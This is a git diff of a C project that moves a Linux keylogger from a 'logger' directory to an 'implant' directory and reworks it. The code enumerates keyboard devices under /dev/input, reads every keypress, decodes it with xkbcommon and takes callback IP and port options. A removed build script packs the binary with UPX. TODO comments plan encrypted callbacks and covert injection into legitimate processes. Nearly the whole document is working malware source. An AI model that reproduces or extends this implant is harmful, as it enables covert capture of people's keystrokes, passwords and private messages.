diff --git a/compile_logger.sh b/compile_logger.sh
@@ -1,9 +0,0 @@
-#!/bin/bash
-
-BIN='k3yl0gg3r'
-
-cd logger && make
-which upx >/dev/null || sudo apt install -y upx
-upx --best ${BIN} && ./clean_script ${BIN}
-
-cp ${BIN} .. && make fclean
diff --git a/logger/.gitignore b/implant/.gitignore
diff --git a/logger/Makefile b/implant/Makefile
diff --git a/implant/includes/implant.h b/implant/includes/implant.h
@@ -0,0 +1,96 @@
+
+#ifndef IMPLANT_H
+#define IMPLANT_H
+
+/*
+ TODO:
+
+ 1. get current local /etc/default/keyboard &
+ translate it manually using struct input_event
+
+ 2. cleanup select handling so that it doesn't suck massive balls
+
+ 3. add support for TLS communications / some kind of enc.
+
+ 4. enumerate process to see which can be interesting to inject into
+
+ 5. use ptrace-less process injection to inject this in a legit program
+*/
+
+
+#include <sys/types.h>
+#include <stdint.h>
+#include <sys/queue.h>
+
+typedef struct keyboard_s keyboard_t;
+struct keyboard_s {
+ int fd;
+
+ char buffer[256];
+ char name[64];
+
+ TAILQ_ENTRY(keyboard_s) devices;
+};
+
+
+
+/*
+ contains project settings, such as target
+ port & IP address, whether debug mode is enabled
+ or stuff like this
+*/
+typedef struct implant_s {
+
+ /* remote connection settings */
+ unsigned short port;
+ char ip[17];
+
+ /* debug settings */
+ int debug_enabled:1;
+
+ /* keyboard settings */
+ char locale[20];
+ TAILQ_HEAD(listhead, keyboard_s) kbd;
+
+} implant_t;
+
+
+#define SUCCESSFUL 1
+#define ERROR 0
+
+#include <stdio.h> /* necessary for the dprintf in the macro */
+
+
+#ifndef DEBUG_LOG
+#define DEBUG_LOG(flag, s, ...) \
+ do { \
+ if (flag != 0) { \
+ dprintf(2, s, ##__VA_ARGS__); dprintf(2, "\n"); \
+ } \
+ } while (0)
+#endif
+
+
+
+#define KEY_PRESSED 1
+#define KEY_RELEASED 0
+
+// opt.c
+int parse_user_input(int, char **, implant_t *);
+
+// logger.c
+void keylog(implant_t *);
+
+// keyboard.c
+int get_locale(implant_t *);
+void fetch_available_keyboards(implant_t *);
+
+// utils.c
+int read_file(char const *, char **, implant_t *);
+size_t get_array_size(uint8_t **);
+char *remove_repeating_whitespaces(char *);
+void free_tab(uint8_t **);
+char **tabgen(const char *, char);
+
+
+#endif /* IMPLANT_H */
diff --git a/implant/sources/keyboard.c b/implant/sources/keyboard.c
@@ -0,0 +1,159 @@
+
+/*
+ keyboard handling and local support.
+*/
+
+
+#include "implant.h"
+
+#include <errno.h>
+#include <stddef.h>
+#include <stdint.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <fcntl.h>
+#include <sys/queue.h>
+#include <sys/stat.h>
+#include <sys/types.h>
+#include <dirent.h>
+#include <unistd.h>
+
+
+static int is_kbd(const struct dirent *f) {
+ size_t len = strlen(f->d_name);
+
+ if (len < 3)
+ return 0;
+
+ return f->d_name[len - 3] == 'k' && f->d_name[len - 2] == 'b' && f->d_name[len - 1] == 'd';
+}
+
+
+void fetch_available_keyboards(implant_t *instance) {
+
+ /*
+ input devices usually live in /dev/input/
+
+ you can identify the in the by-path subdirectory, which maps each
+ device name to a symlink
+
+ here, we will return set an array of file-descriptor for each available
+ keyboard on the machine, it should be appended with a -1 that should serve
+ as a NULL value
+ */
+
+ struct dirent **char_devices = NULL;
+ int possible_paths = scandir(
+ "/dev/input/by-path/",
+ &char_devices,
+ &is_kbd,
+ &alphasort
+ );
+
+ if (-1 == possible_paths || 0 > chdir("/dev/input/by-path/")) {
+ DEBUG_LOG(
+ instance->debug_enabled,
+ "could not find possible keyboard paths"
+ );
+
+ return;
+ }
+
+ /* prepare TAILQ */
+ TAILQ_INIT(&instance->kbd);
+
+ char rpath[2048] = {0};
+ for (int ctr = -1; ++ctr < possible_paths;) {
+ if (!realpath(char_devices[ctr]->d_name, rpath)) {
+ DEBUG_LOG(
+ instance->debug_enabled,
+ "[!] Could not run realpath(%s): %s",
+ char_devices[ctr]->d_name, strerror(errno)
+ );
+
+ continue;
+ }
+
+
+ keyboard_t *kbd = malloc(sizeof(keyboard_t));
+ if (!kbd) {
+ DEBUG_LOG(
+ instance->debug_enabled,
+ "[!] allocate memory for keyboard_t"
+ );
+
+ continue;
+ }
+
+
+ kbd->fd = open(rpath, O_RDONLY | O_NOCTTY | O_NDELAY);
+ if (kbd->fd < 0) {
+ DEBUG_LOG(
+ instance->debug_enabled,
+ "[!] Could not open %s: %s",
+ rpath, strerror(errno)
+ );
+
+ continue;
+ }
+
+ strncpy(kbd->name, rpath, 63);
+ TAILQ_INSERT_HEAD(&instance->kbd, kbd, devices);
+ }
+
+ for (int ctr = -1; ++ctr < possible_paths;)
+ free(char_devices[ctr]);
+ free(char_devices);
+}
+
+
+static int parse_locale(char const *locale_fpath, implant_t *instance) {
+
+ char *buffer = NULL;
+ if (ERROR == read_file(locale_fpath, &buffer, instance))
+ return ERROR;
+
+ char **tab = tabgen(buffer, '\n');
+ if (!tab) {
+ DEBUG_LOG(
+ instance->debug_enabled,
+ "Could not split buffer contents: %s",
+ buffer
+ );
+
+ free(buffer);
+ return ERROR;
+ }
+
+ for (size_t i = 0; i < get_array_size((uint8_t **)tab); i++) {
+
+ if (!strncmp(tab[i], "LANG=", 5)) {
+ strncpy(instance->locale, tab[i] + 5, 20);
+
+ /* safe to free all this and exit this function */
+ free_tab((uint8_t **)tab);
+ free(buffer);
+ return SUCCESSFUL;
+ }
+ }
+
+ DEBUG_LOG(instance->debug_enabled, "\n[!] Could not retrieve locale from %s", buffer);
+ free_tab((uint8_t **)tab);
+ free(buffer);
+ return ERROR;
+}
+
+
+int get_locale(implant_t *instance) {
+
+ /*
+ function call is wrapped in order to support multiple distros
+ down the line.
+
+ AFAIK, most linux distros do it like this, but this might not work for *BSD
+ for instance.
+ */
+
+ return parse_locale("/etc/default/locale", instance);
+}
diff --git a/implant/sources/logger.c b/implant/sources/logger.c
@@ -0,0 +1,191 @@
+
+/*
+ key-logging is done here......yeah
+*/
+
+
+#include "implant.h"
+#include <alloca.h>
+#include <bits/types/struct_timeval.h>
+#include <stddef.h>
+#include <string.h>
+#include <errno.h>
+#include <sys/queue.h>
+#include <sys/select.h>
+#include <linux/input.h>
+#include <sys/types.h>
+#include <unistd.h>
+#include <xkbcommon/xkbcommon.h>
+
+
+static int get_highest_fd(implant_t *instance) {
+ int highest_fd = -1;
+
+ keyboard_t *it = NULL;
+ TAILQ_FOREACH(it, &instance->kbd, devices) {
+ highest_fd = (it->fd > highest_fd) ? it->fd : highest_fd;
+ }
+ return highest_fd;
+}
+
+static int log_keyboard(int fd, implant_t *instance, struct xkb_state *state) {
+ struct input_event evt = {0};
+
+ ssize_t bytes_read = read(fd, &evt, sizeof(evt));
+ if (bytes_read != sizeof(evt)) {
+ DEBUG_LOG(
+ instance->debug_enabled,
+ "[!] read() error: %s",
+ strerror(errno)
+ );
+
+ return ERROR;
+ }
+
+ // 1 = is_pressed
+ if (evt.type == EV_KEY && evt.value == KEY_PRESSED) {
+ char key_description[256] = {0};
+ xkb_keysym_t keysym = xkb_state_key_get_one_sym(state, evt.code + 8);
+
+ xkb_keysym_get_name(keysym, key_description, 256);
+ printf("[+] Key pressed: %s\n", key_description);
+ }
+
+ return SUCCESSFUL;
+}
+
+
+/*
+ main loop to listen for keys and stuff
+*/
+void keylog(implant_t *instance) {
+
+
+ /* first set up select etc */
+ int highest_fd = get_highest_fd(instance);
+ fd_set rd, err;
+ int status = 0;
+
+ if (highest_fd < 0) {
+ DEBUG_LOG(
+ instance->debug_enabled,
+ "[!] no keyboard found. exiting"
+ );
+ return;
+ }
+
+
+ /*
+ initialize xkbcommon context
+
+ this is the stuff that allows us to maps keys to
+ the correct language & manages special characters, shift, etc.
+ */
+
+ struct xkb_context *context = NULL;
+ struct xkb_keymap *keymap = NULL;
+ struct xkb_state *state = NULL;
+
+ context = xkb_context_new(0);
+ if (!context) {
+ DEBUG_LOG(
+ instance->debug_enabled,
+ "[!] error with xkb_context_new(): %s",
+ strerror(errno)
+ );
+
+ return;
+
+ }
+
+ keymap = xkb_keymap_new_from_names(context, NULL, 0);
+ if (!keymap) {
+ DEBUG_LOG(
+ instance->debug_enabled,
+ "[!] error with xkb_keymap_new_from_names(): %s",
+ strerror(errno)
+ );
+
+ goto LOG_FUNCTION_CLEANUP;
+ }
+
+ state = xkb_state_new(keymap);
+ if (!state) {
+ DEBUG_LOG(
+ instance->debug_enabled,
+ "[!] error with xkb_state_new(): %s",
+ strerror(errno)
+ );
+
+ goto LOG_FUNCTION_CLEANUP;
+ }
+
+
+ /* run the damn loop */
+ while (1312) {
+
+ /* setup FD-sets */
+ keyboard_t *it = NULL;
+ TAILQ_FOREACH(it, &instance->kbd, devices) {
+ FD_SET(it->fd, &rd);
+ FD_SET(it->fd, &err);
+ }
+
+ /* check if a key has been pressed */
+ status = select(highest_fd + 1, &rd, NULL, &err, (instance->debug_enabled) ? &(struct timeval){1, 0}: NULL);
+ if (status < 0) {
+ DEBUG_LOG(
+ instance->debug_enabled,
+ "[!] select error: %s",
+ strerror(errno)
+ );
+
+ goto LOG_FUNCTION_CLEANUP;
+ }
+
+ /* check file descriptors (first for error, then for new input) */
+ it = NULL;
+ TAILQ_FOREACH(it, &instance->kbd, devices) {
+ if (FD_ISSET(it->fd, &err)) {
+ DEBUG_LOG(
+ instance->debug_enabled,
+ "[!] Error on file descriptor %d",
+ it->fd
+ );
+
+ /* keyboard has been un-plugged, let's continue */
+ close(it->fd);
+ TAILQ_REMOVE(&instance->kbd, it, devices);
+
+ /* TODO: there is probably a memory leak here, investigate how to fix */
+
+ continue;
+ }
+
+ /* checking for new input here */
+ if (FD_ISSET(it->fd, &rd)) {
+
+ /*
+ should we really kill the run here or can we recover this ?
+ i need to run some tests before making a decision.
+ */
+ if (log_keyboard(it->fd, instance, state) == ERROR)
+ goto LOG_FUNCTION_CLEANUP;
+ }
+
+ }
+
+ }
+
+
+LOG_FUNCTION_CLEANUP:
+ if (state != NULL)
+ xkb_state_unref(state);
+
+ if (keymap != NULL)
+ xkb_keymap_unref(keymap);
+
+ if (context != NULL)
+ xkb_context_unref(context);
+
+}
diff --git a/implant/sources/main.c b/implant/sources/main.c
@@ -0,0 +1,26 @@
+
+
+#include <stdio.h>
+#include <stdlib.h>
+#include <unistd.h>
+
+#include "implant.h"
+
+
+int main(int ac, char **av) {
+
+ implant_t instance = {0};
+ if (ERROR == parse_user_input(ac, av, &instance))
+ return 1;
+
+ get_locale(&instance);
+ DEBUG_LOG(
+ instance.debug_enabled,
+ "[*] Implant settings:\n\tIP:%s\n\tPort:%d\n\tlocale:%s",
+ instance.ip, instance.port, instance.locale
+ );
+
+ fetch_available_keyboards(&instance);
+ keylog(&instance);
+ return 0;
+}
diff --git a/implant/sources/opt.c b/implant/sources/opt.c
@@ -0,0 +1,53 @@
+/*
+ program's imput handling is handled here.
+ */
+
+
+#include <getopt.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <unistd.h>
+
+#include "implant.h"
+
+static void help_mode(char const *binary_path) {
+ printf("%s USAGE:\n\t-i\tCallback IP Address\n\t-p\tCallback Port\n\t-d\tEnable debug trace\n", binary_path);
+}
+
+
+int parse_user_input(int ac, char **av, implant_t *settings) {
+ int c = 0;
+
+ do {
+ c = getopt(ac, av, "i:p:dh");
+ switch (c) {
+ case 'i':
+ /* we got an IP address */
+ strncpy((char *)&settings->ip, optarg, 16);
+ break;
+
+ case 'p':
+ /* we got a port */
+ settings->port = (unsigned short)strtoul(optarg, NULL, 0);
+ break;
+
+ case 'd':
+ settings->debug_enabled = 1;
+ break;
+
+ case 'h':
+ help_mode(av[0]);
+ exit(0);
+ // will exit on help_mode() anyway
+
+ case '?':
+ help_mode(av[0]);
+ return ERROR;
+
+ default:
+ break;
+ }
+ } while (c != -1);
+ return SUCCESSFUL;
+}
diff --git a/implant/sources/utils.c b/implant/sources/utils.c
@@ -0,0 +1,160 @@
+
+/*
+ random useful functions
+*/
+
+#include "implant.h"
+
+
+#include <stddef.h>
+#include <sys/types.h>
+#include <sys/stat.h>
+#include <fcntl.h>
+#include <unistd.h>
+#include <string.h>
+#include <errno.h>
+#include <stdlib.h>
+#include <stdint.h>
+#include <stdlib.h>
+#include <unistd.h>
+#include <string.h>
+#include <ctype.h>
+#include <stdio.h>
+
+/*
+ just a little utility function to read a generic text file.
+
+ implant_t struct is required to have debug logging. i should maybe
+ find a way to make this suck less, but we're not smart devs over here
+*/
+int read_file(char const *path, char **buffer, implant_t *instance) {
+
+ int fd = open(path, O_RDONLY);
+ if (0 > fd) {
+ DEBUG_LOG(instance->debug_enabled, "Could not open %s: %s", path, strerror(errno));
+ return ERROR;
+ }
+
+ // could use fseek but stat is posix so let's use that
+ struct stat st;
+ if (0 > fstat(fd, &st)) {
+ DEBUG_LOG(instance->debug_enabled, "Could not call fstat on %s: %s", path, strerror(errno));
+ return ERROR;
+ }
+
+ unsigned long filesize = (unsigned long)st.st_size;
+
+ *buffer = malloc(sizeof(char) * (filesize + 1));
+ if (!buffer || !(*buffer)) {
+ DEBUG_LOG(instance->debug_enabled, "Could not allocate memory for %s: %s", path, strerror(errno));
+ return ERROR;
+ }
+
+ ssize_t bytes = read(fd, *buffer, filesize);
+ if (bytes != st.st_size) {
+ DEBUG_LOG(
+ instance->debug_enabled,
+ "[!] Should have read %ld bytes but read %ld (filepath: %s)",
+ st.st_size, bytes, path
+ );
+
+ if (bytes < 0) {
+ DEBUG_LOG(instance->debug_enabled, "read: %s", strerror(errno));
+ return ERROR;
+ }
+ }
+
+ *buffer[bytes] = 0;
+ close(fd);
+ return SUCCESSFUL;
+}
+
+static size_t get_nb_cols(const char *str, int n, char separator)
+{
+ size_t i = (size_t)n;
+ size_t res = 0;
+
+ if (str == NULL || str[0] == '\0')
+ return 0;
+ for (; str[i] != '\0' && str[i] != separator; i++, res++);
+ return (res);
+}
+
+static size_t get_nb_rows(const char *str, char separator)
+{
+ int i;
+ size_t res = 0;
+
+ if (str == NULL || str[0] == '\0')
+ return 0;
+ if (str == NULL || str[0] == '\0')
+ return (0);
+ for (i = 0; str[i] != '\0'; i++)
+ if (str[i] == separator)
+ res++;
+ return (res + 1);
+}
+
+char **tabgen(const char *str, char separator)
+{
+ size_t i = 0;
+ size_t malloc_size = 0;
+ size_t index_str = 0;
+ char **res = NULL;
+
+ if (str == NULL || *str == 0)
+ return NULL;
+
+ res = malloc(sizeof(char *) * (get_nb_rows(str, separator) + 1));
+ for (; i < get_nb_rows(str, separator); i++) {
+ malloc_size = get_nb_cols(&str[index_str], 0, separator);
+
+ res[i] = malloc(sizeof(char) * (malloc_size + 4));
+ if (!res[i]) {
+ res[i] = NULL;
+ free_tab((uint8_t **)res);
+ return NULL;
+ }
+
+ res[i] = strncpy(res[i], &str[index_str], malloc_size);
+ res[i][malloc_size] = '\0';
+
+ index_str = index_str + malloc_size + 1;
+ }
+
+ res[i] = NULL;
+ return (res);
+}
+
+void free_tab(uint8_t **tab)
+{
+ for (size_t ctr = 0; tab[ctr] != NULL; ctr++)
+ free(tab[ctr]);
+ free(tab);
+}
+
+char *remove_repeating_whitespaces(char *s)
+{
+ size_t i = 0;
+ size_t x = 0 ;
+
+ if (!s || !(*s))
+ return NULL;
+
+ for(; s[i]; ++i)
+ if(!isspace(s[i]) || (i > 0 && !isspace(s[i-1])))
+ s[x++] = s[i];
+
+ s[x] = '\0';
+ return s;
+}
+
+size_t get_array_size(uint8_t **array)
+{
+ size_t ctr = 0;
+
+ if (!array)
+ return 0;
+ while (array[ctr++]);
+ return ctr;
+}
diff --git a/logger/utils/install-deps.sh b/implant/utils/install-deps.sh
diff --git a/logger/includes/implant.h b/logger/includes/implant.h
@@ -1,78 +0,0 @@
-
-#ifndef IMPLANT_H
-#define IMPLANT_H
-
-/*
- TODO:
-
- 1. get current local /etc/default/keyboard &
- translate it manually using struct input_event
-
- 2. cleanup select handling so that it doesn't suck massive balls
-
- 3. add support for TLS communications / some kind of enc.
-
- 4. enumerate process to see which can be interesting to inject into
-
- 5. use ptrace-less process injection to inject this in a legit program
-*/
-
-
-#include <sys/types.h>
-#include <stdint.h>
-
-/*
- contains project settings, such as target
- port & IP address, whether debug mode is enabled
- or stuff like this
-*/
-typedef struct implant_s {
-
- /* remote connection settings */
- unsigned short port;
- char ip[17];
-
- /* debug settings */
- int debug_enabled:1;
-
- /* keyboard settings */
- char locale[20];
- int *kb_fd;
-} implant_t;
-
-
-#define SUCCESSFUL 1
-#define ERROR 0
-
-#include <stdio.h> /* necessary for the dprintf in the macro */
-
-
-#ifndef DEBUG_LOG
-#define DEBUG_LOG(flag, s, ...) \
- do { \
- if (flag != 0) { \
- dprintf(2, s, ##__VA_ARGS__); dprintf(2, "\n"); \
- } \
- } while (0)
-#endif
-
-
-// opt.c
-int parse_user_input(int, char **, implant_t *);
-
-// logger.c
-void keylog(implant_t *);
-
-// keyboard.c
-int get_locale(implant_t *);
-void fetch_available_keyboards(implant_t *);
-
-// utils.c
-int read_file(char const *, char **, implant_t *);
-size_t get_array_size(uint8_t **);
-char *remove_repeating_whitespaces(char *);
-void free_tab(uint8_t **);
-char **tabgen(const char *, char);
-
-
-#endif /* IMPLANT_H */
diff --git a/logger/sources/keyboard.c b/logger/sources/keyboard.c
@@ -1,135 +0,0 @@
-
-/*
- keyboard handling and local support.
-*/
-
-
-#include "implant.h"
-
-#include <errno.h>
-#include <stddef.h>
-#include <stdint.h>
-#include <stdio.h>
-#include <stdlib.h>
-#include <string.h>
-#include <fcntl.h>
-#include <sys/stat.h>
-#include <sys/types.h>
-#include <dirent.h>
-#include <unistd.h>
-
-
-static int is_kbd(const struct dirent *f) {
- size_t len = strlen(f->d_name);
-
- if (len < 3)
- return 0;
-
- return f->d_name[len - 3] == 'k' && f->d_name[len - 2] == 'b' && f->d_name[len - 1] == 'd';
-}
-
-
-void fetch_available_keyboards(implant_t *instance) {
-
- /*
- input devices usually live in /dev/input/
-
- you can identify the in the by-path subdirectory, which maps each
- device name to a symlink
-
- here, we will return set an array of file-descriptor for each available
- keyboard on the machine, it should be appended with a -1 that should serve
- as a NULL value
- */
-
- struct dirent **char_devices = NULL;
- int possible_paths = scandir(
- "/dev/input/by-path/",
- &char_devices,
- &is_kbd,
- &alphasort
- );
-
- if (possible_paths == -1 || chdir("/dev/input/by-path/") < 0) {
- DEBUG_LOG(
- instance->debug_enabled,
- "could not find possible keyboard paths"
- );
-
- return;
- }
-
- instance->kb_fd = malloc(sizeof(int) * ((size_t)possible_paths + 1));
- if (!instance->kb_fd) {
- DEBUG_LOG(
- instance->debug_enabled,
- "could not allocate memory for possible kb paths: %s",
- strerror(errno)
- );
- return;
- }
-
- instance->kb_fd[possible_paths] = -1;
- char rpath[2048] = {0};
- for (int ctr = -1; ++ctr < possible_paths;) {
- if (!realpath(char_devices[ctr]->d_name, rpath)) {
- DEBUG_LOG(
- instance->debug_enabled,
- "[!] Could not run realpath(%s): %s",
- char_devices[ctr]->d_name, strerror(errno)
- );
- } else instance->kb_fd[ctr] = open(rpath, O_RDONLY | O_NOCTTY | O_NDELAY);
- }
-
- for (int ctr = -1; ++ctr < possible_paths;)
- free(char_devices[ctr]);
- free(char_devices);
-}
-
-
-static int parse_locale(char const *locale_fpath, implant_t *instance) {
-
- char *buffer = NULL;
- if (ERROR == read_file(locale_fpath, &buffer, instance))
- return ERROR;
-
- char **tab = tabgen(buffer, '\n');
- if (!tab) {
- DEBUG_LOG(
- instance->debug_enabled,
- "Could not split buffer contents: %s",
- buffer
- );
-
- free(buffer);
- return ERROR;
- }
-
- for (size_t i = 0; i < get_array_size((uint8_t **)tab); i++) {
-
- if (!strncmp(tab[i], "LANG=", 5)) {
- strncpy(instance->locale, tab[i] + 5, 20);
-
- /* safe to free all this and exit this function */
- free_tab((uint8_t **)tab);
- free(buffer);
- return SUCCESSFUL;
- }
- }
-
- DEBUG_LOG(instance->debug_enabled, "\n[!] Could not retrieve locale from %s", buffer);
- free_tab((uint8_t **)tab);
- free(buffer);
- return ERROR;
-}
-
-
-int get_locale(implant_t *instance) {
-
- /*
- function call is wrapped in order to support multiple distros
- down the line.
- */
-
- return parse_locale("/etc/default/locale", instance);
-}
diff --git a/logger/sources/logger.c b/logger/sources/logger.c
@@ -1,186 +0,0 @@
-
-/*
- key-logging is done here......yeah
-*/
-
-
-#include "implant.h"
-#include <alloca.h>
-#include <bits/types/struct_timeval.h>
-#include <stddef.h>
-#include <string.h>
-#include <errno.h>
-#include <sys/select.h>
-#include <linux/input.h>
-#include <sys/types.h>
-#include <unistd.h>
-#include <xkbcommon/xkbcommon.h>
-
-
-static int get_highest_fd(int *kbfd, int *i) {
- if (!kbfd)
- return -1;
-
- int highest = -1;
- for (*i = 0; kbfd[*i] != -1; (*i)++)
- highest = (highest < kbfd[*i]) ? kbfd[*i] : highest;
- return highest;
-}
-
-static int log_keyboard(int fd, implant_t *instance, struct xkb_state *state) {
- struct input_event evt = {0};
-
- ssize_t bytes_read = read(fd, &evt, sizeof(evt));
- if (bytes_read != sizeof(evt)) {
- DEBUG_LOG(
- instance->debug_enabled,
- "[!] read() error: %s",
- strerror(errno)
- );
-
- return ERROR;
- }
-
- // 1 = is_pressed
- if (evt.type == EV_KEY && evt.value == 1) {
- char key_description[256] = {0};
- xkb_keysym_t keysym = xkb_state_key_get_one_sym(state, evt.code + 8);
-
- xkb_keysym_get_name(keysym, key_description, 256);
- printf("[+] Key pressed: %s\n", key_description);
- }
-
- return SUCCESSFUL;
-}
-
-
-/*
- main loop to listen for keys and stuff
-*/
-void keylog(implant_t *instance) {
-
-
- /* first set up select etc */
- int nb_kb = 0;
- int highest_fd = get_highest_fd(instance->kb_fd, &nb_kb);
- fd_set rd, err;
- int status = 0;
-
- if (highest_fd < 0 || !nb_kb) {
- DEBUG_LOG(
- instance->debug_enabled,
- "[!] no keyboard found. exiting"
- );
- return;
- }
-
-
- /*
- initialize xkbcommon context
-
- this is the stuff that allows us to maps keys to
- the correct language & manages special characters, shift, etc.
- */
-
- struct xkb_context *context = NULL;
- struct xkb_keymap *keymap = NULL;
- struct xkb_state *state = NULL;
-
- context = xkb_context_new(0);
- if (!context) {
- DEBUG_LOG(
- instance->debug_enabled,
- "[!] error with xkb_context_new(): %s",
- strerror(errno)
- );
-
- return;
-
- }
-
- keymap = xkb_keymap_new_from_names(context, NULL, 0);
- if (!keymap) {
- DEBUG_LOG(
- instance->debug_enabled,
- "[!] error with xkb_keymap_new_from_names(): %s",
- strerror(errno)
- );
-
- goto LOG_FUNCTION_CLEANUP;
- }
-
- state = xkb_state_new(keymap);
- if (!state) {
- DEBUG_LOG(
- instance->debug_enabled,
- "[!] error with xkb_state_new(): %s",
- strerror(errno)
- );
-
- goto LOG_FUNCTION_CLEANUP;
- }
-
-
- /* run the damn loop */
- while (1) {
-
- /* setup FD-sets */
- for (int i = 0; i < nb_kb; i++) {
- FD_SET(instance->kb_fd[i], &rd);
- FD_SET(instance->kb_fd[i], &err);
- }
-
- /* check if a key has been pressed */
- status = select(highest_fd + 1, &rd, NULL, &err, (instance->debug_enabled) ? &(struct timeval){1, 0}: NULL);
- if (status < 0) {
- DEBUG_LOG(
- instance->debug_enabled,
- "[!] select error: %s",
- strerror(errno)
- );
-
- goto LOG_FUNCTION_CLEANUP;
- }
-
- /* check file descriptors (first for error, then for new input) */
- for (int i = 0; i < nb_kb; i++) {
- if (FD_ISSET(instance->kb_fd[i], &err)) {
- DEBUG_LOG(
- instance->debug_enabled,
- "[!] Error on file descriptor %d",
- instance->kb_fd[i]
- );
-
- /*
- TODO: replace array of keyboard fd by a linked list so
- that it can cleanly be removed without breaking the
- logger
- */
-
- goto LOG_FUNCTION_CLEANUP;
- }
-
- /* checking for new input here */
- if (FD_ISSET(instance->kb_fd[i], &rd)) {
-
- /* TODO: should we really kill the run here or can we recover this ? */
- if (log_keyboard(instance->kb_fd[i], instance, state) == ERROR)
- goto LOG_FUNCTION_CLEANUP;
- }
-
- }
-
- }
-
-
-LOG_FUNCTION_CLEANUP:
- if (state != NULL)
- xkb_state_unref(state);
-
- if (keymap != NULL)
- xkb_keymap_unref(keymap);
-
- if (context != NULL)
- xkb_context_unref(context);
-
-}
diff --git a/logger/sources/main.c b/logger/sources/main.c
@@ -1,27 +0,0 @@
-
-
-#include <stdio.h>
-#include <stdlib.h>
-#include <unistd.h>
-
-#include "implant.h"
-
-
-int main(int ac, char **av) {
-
- implant_t instance = {0};
- if (ERROR == parse_user_input(ac, av, &instance))
- return 1;
-
- get_locale(&instance);
- DEBUG_LOG(
- instance.debug_enabled,
- "[*] Implant settings:\n\tIP:%s\n\tPort:%d\n\tlocale:%s",
- instance.ip, instance.port, instance.locale
- );
-
-
- fetch_available_keyboards(&instance);
- keylog(&instance);
- return 0;
-}
diff --git a/logger/sources/opt.c b/logger/sources/opt.c
@@ -1,43 +0,0 @@
-/*
- program's imput handling is handled here.
- */
-
-
-#include <getopt.h>
-#include <stdio.h>
-#include <stdlib.h>
-#include <string.h>
-#include <unistd.h>
-
-#include "implant.h"
-
-
-int parse_user_input(int ac, char **av, implant_t *settings) {
- int c = 0;
-
- do {
- c = getopt(ac, av, "i:p:d");
- switch (c) {
- case 'i':
- /* we got an IP address */
- strncpy((char *)&settings->ip, optarg, 16);
- break;
-
- case 'p':
- /* we got a port */
- settings->port = (unsigned short)strtoul(optarg, NULL, 0);
- break;
-
- case 'd':
- settings->debug_enabled = 1;
- break;
-
- case '?':
- return ERROR;
-
- default:
- break;
- }
- } while (c != -1);
- return SUCCESSFUL;
-}
diff --git a/logger/sources/utils.c b/logger/sources/utils.c
@@ -1,154 +0,0 @@
-
-/*
- random useful functions
-*/
-
-#include "implant.h"
-
-
-#include <stddef.h>
-#include <sys/types.h>
-#include <sys/stat.h>
-#include <fcntl.h>
-#include <unistd.h>
-#include <string.h>
-#include <errno.h>
-#include <stdlib.h>
-#include <stdint.h>
-#include <stdlib.h>
-#include <unistd.h>
-#include <string.h>
-#include <ctype.h>
-#include <stdio.h>
-
-/*
- just a little utility function to read a generic text file.
-
- implant_t struct is required to have debug logging. i should maybe
- find a way to make this suck less, but we're not smart devs over here
-*/
-int read_file(char const *path, char **buffer, implant_t *instance) {
-
- int fd = open(path, O_RDONLY);
- if (fd < 0) {
- DEBUG_LOG(instance->debug_enabled, "Could not open %s: %s", path, strerror(errno));
- return ERROR;
- }
-
- // could use fseek but stat is posix so let's use that
- struct stat st;
- if (fstat(fd, &st) < 0) {
- DEBUG_LOG(instance->debug_enabled, "Could not call fstat on %s: %s", path, strerror(errno));
- return ERROR;
- }
-
- unsigned long filesize = (unsigned long)st.st_size;
-
- *buffer = malloc(sizeof(char) * (filesize + 1));
- if (!buffer || !(*buffer)) {
- DEBUG_LOG(instance->debug_enabled, "Could not allocate memory for %s: %s", path, strerror(errno));
- return ERROR;
- }
-
- ssize_t bytes = read(fd, *buffer, filesize);
- if (bytes != st.st_size) {
- DEBUG_LOG(
- instance->debug_enabled,
- "[!] Should have read %ld bytes but read %ld (filepath: %s)",
- st.st_size, bytes, path
- );
-
- if (bytes < 0) {
- DEBUG_LOG(instance->debug_enabled, "read: %s", strerror(errno));
- return ERROR;
- }
- }
-
- *buffer[bytes] = 0;
- close(fd);
- return SUCCESSFUL;
-}
-
-static size_t get_nb_cols(const char *str, int n, char separator)
-{
- size_t i = (size_t)n;
- size_t res = 0;
-
- if (str == NULL || str[0] == '\0')
- return 0;
- for (; str[i] != '\0' && str[i] != separator; i++, res++);
- return (res);
-}
-
-static size_t get_nb_rows(const char *str, char separator)
-{
- int i;
- size_t res = 0;
-
- if (str == NULL || str[0] == '\0')
- return 0;
- if (str == NULL || str[0] == '\0')
- return (0);
- for (i = 0; str[i] != '\0'; i++)
- if (str[i] == separator)
- res++;
- return (res + 1);
-}
-
-char **tabgen(const char *str, char separator)
-{
- size_t i = 0;
- size_t malloc_size = 0;
- size_t index_str = 0;
- char **res = NULL;
-
- if (str == NULL || *str == 0)
- return NULL;
-
- res = malloc(sizeof(char *) * (get_nb_rows(str, separator) + 1));
- for (; i < get_nb_rows(str, separator); i++) {
- malloc_size = get_nb_cols(&str[index_str], 0, separator);
-
- res[i] = malloc(sizeof(char) * (malloc_size + 4));
- res[i] = strncpy(res[i], &str[index_str], malloc_size);
- res[i][malloc_size] = '\0';
-
- index_str = index_str + malloc_size + 1;
- }
-
- res[i] = NULL;
- return (res);
-}
-
-void free_tab(uint8_t **tab)
-{
- for (size_t ctr = 0; tab[ctr] != NULL; ctr++)
- free(tab[ctr]);
- free(tab);
-}
-
-char *remove_repeating_whitespaces(char *s)
-{
- size_t i = 0;
- size_t x = 0 ;
-
- if (!s || !(*s))
- return NULL;
-
- for(; s[i]; ++i)
- if(!isspace(s[i]) || (i > 0 && !isspace(s[i-1])))
- s[x++] = s[i];
-
- s[x] = '\0';
- return s;
-}
-
-size_t get_array_size(uint8_t **array)
-{
- size_t ctr = 0;
-
- if (!array)
- return 0;
- while (array[ctr++]);
- return ctr;
-}
| | | | | | | | | | | | | | | |